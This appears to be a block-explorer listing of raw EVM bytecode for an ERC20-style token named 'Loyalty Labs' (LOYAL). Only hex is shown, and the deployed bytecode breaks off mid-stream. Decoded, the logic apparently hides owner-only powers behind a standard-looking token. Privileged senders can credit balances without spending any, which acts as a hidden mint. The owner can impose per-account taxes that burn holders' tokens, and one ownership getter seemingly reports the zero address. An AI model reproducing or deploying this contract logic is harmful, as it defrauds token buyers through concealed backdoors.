ffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098c90612090565b60405180910390fd5b8060088190555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6109cd61116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5290612090565b60405180910390fd5b600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f610aa961116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90612090565b60405180910390fd5b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bd661116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612090565b60405180910390fd5b610c6d5f611a3e565b565b606060038054610c7e90612016565b80601f0160208091040260200160405190810160405280929190818152602001828054610caa90612016565b8015610cf55780601f10610ccc57610100808354040283529160200191610cf5565b820191905f5260205f20905b815481529060010190602001808311610cd857829003601f168201915b5050505050905090565b5f80610d0961116b565b90505f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc09061217e565b60405180910390fd5b610dd68286868403611172565b60019250505092915050565b5f80610dec61116b565b90506001151560065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610ea0578260055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e8f91906120db565b925050819055506001915050610eb1565b610eab8185856113bf565b60019150505b92915050565b5f90565b610ec361116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4890612090565b60405180910390fd5b5f811015610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b9061220c565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61106361116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e890612090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361115f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111569061229a565b60405180910390fd5b61116881611a3e565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790612328565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361124e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611245906123b6565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113279190611e53565b60405180910390a3505050565b5f61133f8484610fda565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113b957818110156113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a29061241e565b60405180910390fd5b6113b88484848403611172565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611424906124ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114929061253a565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561151f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611516906125c8565b60405180910390fd5b5f6001905061152e8585611b01565b15611537575f90505b5f81156116f8575f8073ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116485760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115ed5760085490505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036116475760095490505b5b5f600b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156116ce57600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b6116f460646116e68388611ba590919063ffffffff16565b611bba90919063ffffffff16565b9150505b5f81111561188e576117508160055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcf90919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117e38160055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611be490919063ffffffff16565b60055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118859190611e53565b60405180910390a35b6118e9818561189d91906125e6565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcf90919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611985818561193991906125e6565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611be490919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a2191906125e6565b604051611a2e9190611e53565b60405180910390a3505050505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b9d5750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b905092915050565b5f8183611bb29190612619565b905092915050565b5f8183611bc79190612687565b905092915050565b5f8183611bdc91906125e6565b905092915050565b5f8183611bf191906120db565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c30578082015181840152602081019050611c15565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c5582611bf9565b611c5f8185611c03565b9350611c6f818560208601611c13565b611c7881611c3b565b840191505092915050565b5f6020820190508181035f830152611c9b8184611c4b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611cd082611ca7565b9050919050565b611ce081611cc6565b8114611cea575f80fd5b50565b5f81359050611cfb81611cd7565b92915050565b5f819050919050565b611d1381611d01565b8114611d1d575f80fd5b50565b5f81359050611d2e81611d0a565b92915050565b5f8060408385031215611d4a57611d49611ca3565b5b5f611d5785828601611ced565b9250506020611d6885828601611d20565b9150509250929050565b5f8115159050919050565b611d8681611d72565b82525050565b5f602082019050611d9f5f830184611d7d565b92915050565b5f60208284031215611dba57611db9611ca3565b5b5f611dc784828501611ced565b91505092915050565b5f819050919050565b5f611df3611dee611de984611ca7565b611dd0565b611ca7565b9050919050565b5f611e0482611dd9565b9050919050565b5f611e1582611dfa565b9050919050565b611e2581611e0b565b82525050565b5f602082019050611e3e5f830184611e1c565b92915050565b611e4d81611d01565b82525050565b5f602082019050611e665f830184611e44565b92915050565b611e7581611d72565b8114611e7f575f80fd5b50565b5f81359050611e9081611e6c565b92915050565b5f8060408385031215611eac57611eab611ca3565b5b5f611eb985828601611ced565b9250506020611eca85828601611e82565b9150509250929050565b5f805f60608486031215611eeb57611eea611ca3565b5b5f611ef886828701611ced565b9350506020611f0986828701611ced565b9250506040611f1a86828701611d20565b9150509250925092565b5f60ff82169050919050565b611f3981611f24565b82525050565b5f602082019050611f525f830184611f30565b92915050565b5f60208284031215611f6d57611f6c611ca3565b5b5f611f7a84828501611d20565b91505092915050565b611f8c81611cc6565b82525050565b5f602082019050611fa55f830184611f83565b92915050565b5f8060408385031215611fc157611fc0611ca3565b5b5f611fce85828601611ced565b9250506020611fdf85828601611ced565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061202d57607f821691505b6020821081036120405761203f611fe9565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e65725f82015250565b5f61207a602083611c03565b915061208582612046565b602082019050919050565b5f6020820190508181035f8301526120a78161206e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120e582611d01565b91506120f083611d01565b9250828201905080821115612108576121076120ae565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612168602583611c03565b91506121738261210e565b604082019050919050565b5f6020820190508181035f8301526121958161215c565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e5f8201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b5f6121f6602e83611c03565b91506122018261219c565b604082019050919050565b5f6020820190508181035f830152612223816121ea565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612284602683611c03565b915061228f8261222a565b604082019050919050565b5f6020820190508181035f8301526122b181612278565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612312602483611c03565b915061231d826122b8565b604082019050919050565b5f6020820190508181035f83015261233f81612306565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123a0602283611c03565b91506123ab82612346565b604082019050919050565b5f6020820190508181035f8301526123cd81612394565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612408601d83611c03565b9150612413826123d4565b602082019050919050565b5f6020820190508181035f830152612435816123fc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612496602583611c03565b91506124a18261243c565b604082019050919050565b5f6020820190508181035f8301526124c38161248a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612524602383611c03565b915061252f826124ca565b604082019050919050565b5f6020820190508181035f83015261255181612518565b9050919050565b7f45524332303a207472616e7366657220416d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6125b2602683611c03565b91506125bd82612558565b604082019050919050565b5f6020820190508181035f8301526125df816125a6565b9050919050565b5f6125f082611d01565b91506125fb83611d01565b9250828203905081811115612613576126126120ae565b5b92915050565b5f61262382611d01565b915061262e83611d01565b925082820261263c81611d01565b91508282048414831517612653576126526120ae565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61269182611d01565b915061269c83611d01565b9250826126ac576126ab61265a565b5b82820490509291505056fea2646970667358221220cb6a68c36cd5db20db127ea37a8a96680f0bb7ff284194e3bd81129905795f9164736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e800000000000000000000000000000000000000000000000000000000000000000c4c6f79616c7479204c616273000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054c4f59414c000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061014b575f3560e01c806349bd5a5e116100c1578063a457c2d71161007a578063a457c2d7146103b1578063a9059cbb146103e1578063b4a99a4e14610411578063c4e7c1651461042f578063dd62ed3e1461044b578063f2fde38b1461047b5761014b565b806349bd5a5e146102db5780635dd7c8ac146102f95780636c9992b31461032957806370a0823114610359578063715018a61461038957806395d89b41146103935761014b565b80631f478f1e116101135780631f478f1e1461020957806323b872dd146102255780632c91d07114610255578063313ce56714610271578063395093511461028f5780633de94b45146102bf5761014b565b806306fdde031461014f578063095ea7b31461016d5780630e5133b71461019d5780631694505e146101cd57806318160ddd146101eb575b5f80fd5b610157610497565b6040516101649190611c83565b60405180910390f35b61018760048036038101906101829190611d34565b610527565b6040516101949190611d8c565b60405180910390f35b6101b760048036038101906101b29190611da5565b610549565b6040516101c49190611d8c565b60405180910390f35b6101d5610631565b6040516101e29190611e2b565b60405180910390f35b6101f3610655565b6040516102009190611e53565b60405180910390f35b610223600480360381019061021e9190611e96565b61065e565b005b61023f600480360381019061023a9190611ed4565b61074c565b60405161024c9190611d8c565b60405180910390f35b61026f600480360381019061026a9190611da5565b61077a565b005b610279610853565b6040516102869190611f3f565b60405180910390f35b6102a960048036038101906102a49190611d34565b61085b565b6040516102b69190611d8c565b60405180910390f35b6102d960048036038101906102d49190611f58565b6108ff565b005b6102e361099f565b6040516102f09190611f92565b60405180910390f35b610313600480360381019061030e9190611da5565b6109c4565b6040516103209190611e53565b60405180910390f35b610343600480360381019061033e9190611da5565b610aa0565b6040516103509190611d8c565b60405180910390f35b610373600480360381019061036e9190611da5565b610b88565b6040516103809190611e53565b60405180910390f35b610391610bce565b005b61039b610c6f565b6040516103a89190611c83565b60405180910390f35b6103cb60048036038101906103c69190611d34565b610cff565b6040516103d89190611d8c565b60405180910390f35b6103fb60048036038101906103f69190611d34565b610de2565b6040516104089190611d8c565b60405180910390f35b610419610eb7565b6040516104269190611f92565b60405180910390f35b61044960048036038101906104449190611d34565b610ebb565b005b61046560048036038101906104609190611fab565b610fda565b6040516104729190611e53565b60405180910390f35b61049560048036038101906104909190611da5565b61105b565b005b6060600280546104a690612016565b80601f01602080910402602001604051908101604052809291908181526020018280546104d290612016565b801561051d5780601f106104f45761010080835404028352916020019161051d565b820191905f5260205f20905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b5f8061053161116b565b905061053e818585611172565b600191505092915050565b5f61055261116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d790612090565b60405180910390fd5b600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600154905090565b61066661116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612090565b60405180910390fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f8061075661116b565b9050610763858285611334565b61076e8585856113bf565b60019150509392505050565b61078261116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080790612090565b60405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6012905090565b5f8061086561116b565b90506108f48185855f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108ef91906120db565b611172565b600191505092915050565b61090761116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098c90612090565b60405180910390fd5b8060088190555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6109cd61116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5290612090565b60405180910390fd5b600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f610aa961116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90612090565b60405180910390fd5b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bd661116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612090565b60405180910390fd5b610c6d5f611a3e565b565b606060038054610c7e90612016565b80601f0160208091040260200160405190810160405280929190818152602001828054610caa90612016565b8015610cf55780601f10610ccc57610100808354040283529160200191610cf5565b820191905f5260205f20905b815481529060010190602001808311610cd857829003601f168201915b5050505050905090565b5f80610d0961116b565b90505f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083811015610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc09061217e565b60405180910390fd5b610dd68286868403611172565b60019250505092915050565b5f80610dec61116b565b90506001151560065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610ea0578260055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e8f91906120db565b925050819055506001915050610eb1565b610eab8185856113bf565b60019150505b92915050565b5f90565b610ec361116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4890612090565b60405180910390fd5b5f811015610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b9061220c565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61106361116b565b73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e890612090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361115f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111569061229a565b60405180910390fd5b61116881611a3e565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790612328565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361124e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611245906123b6565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113279190611e53565b60405180910390a3505050565b5f61133f8484610fda565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113b957818110156113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a29061241e565b60405180910390fd5b6113b88484848403611172565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611424906124ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114929061253a565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561151f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611516906125c8565b60405180910390fd5b5f6001905061152e8585611b01565b15611537575f90505b5f81156116f8575f8073ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116485760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115ed5760085490505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036116475760095490505b5b5f600b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156116ce57600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b6116f460646116e68388611ba590919063ffffffff16565b611bba90919063ffffffff16565b9150505b5f81111561188e576117508160055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcf90919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117e38160055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611be490919063ffffffff16565b60055f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118859190611e53565b60405180910390a35b6118e9818561189d91906125e6565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcf90919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611985818561193991906125e6565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611be490919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a2191906125e6565b604051611a2e9190611e53565b60405180910390a3505050505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b9d5750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b905092915050565b5f8183611bb29190612619565b905092915050565b5f8183611bc79190612687565b905092915050565b5f8183611bdc91906125e6565b905092915050565b5f8183611bf191906120db565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c30578082015181840152602081019050611c15565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c5582611bf9565b611c5f8185611c03565b9350611c6f818560208601611c13565b611c7881611c3b565b840191505092915050565b5f6020820190508181035f830152611c9b8184611c4b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611cd082611ca7565b9050919050565b611ce081611cc6565b8114611cea575f80fd5b50565b5f81359050611cfb81611cd7565b92915050565b5f819050919050565b611d1381611d01565b8114611d1d575f80fd5b50565b5f81359050611d2e81611d0a565b92915050565b5f8060408385031215611d4a57611d49611ca3565b5b5f611d5785828601611ced565b9250506020611d6885828601611d20565b9150509250929050565b5f8115159050919050565b611d8681611d72565b82525050565b5f602082019050611d9f5f830184611d7d565b92915050565b5f60208284031215611dba57611db9611ca3565b5b5f611dc784828501611ced565b91505092915050565b5f819050919050565b5f611df3611dee611de984611ca7565b611dd0565b611ca7565b9050919050565b5f611e0482611dd9565b9050919050565b5f611e1582611dfa565b9050919050565b611e2581611e0b565b82525050565b5f602082019050611e3e5f830184611e1c565b92915050565b611e4d81611d01565b82525050565b5f602082019050611e665f830184611e44565b92915050565b611e7581611d72565b8114611e7f575f80fd5b50565b5f81359050611e9081611e6c565b92915050565b5f8060408385031215611eac57611eab611ca3565b5b5f611eb985828601611ced565b9250506020611eca85828601611e82565b9150509250929050565b5f805f60608486031215611eeb57611eea611ca3565b5b5f611ef886828701611ced565b9350506020611f0986828701611ced565b9250506040611f1a86828701611d20565b9150509250925092565b5f60ff82169050919050565b611f3981611f24565b82525050565b5f602082019050611f525f830184611f30565b92915050565b5f60208284031215611f6d57611f6c611ca3565b5b5f611f7a84828501611d20565b91505092915050565b611f8c81611cc6565b82525050565b5f602082019050611fa55f830184611f83565b92915050565b5f8060408385031215611fc157611fc0611ca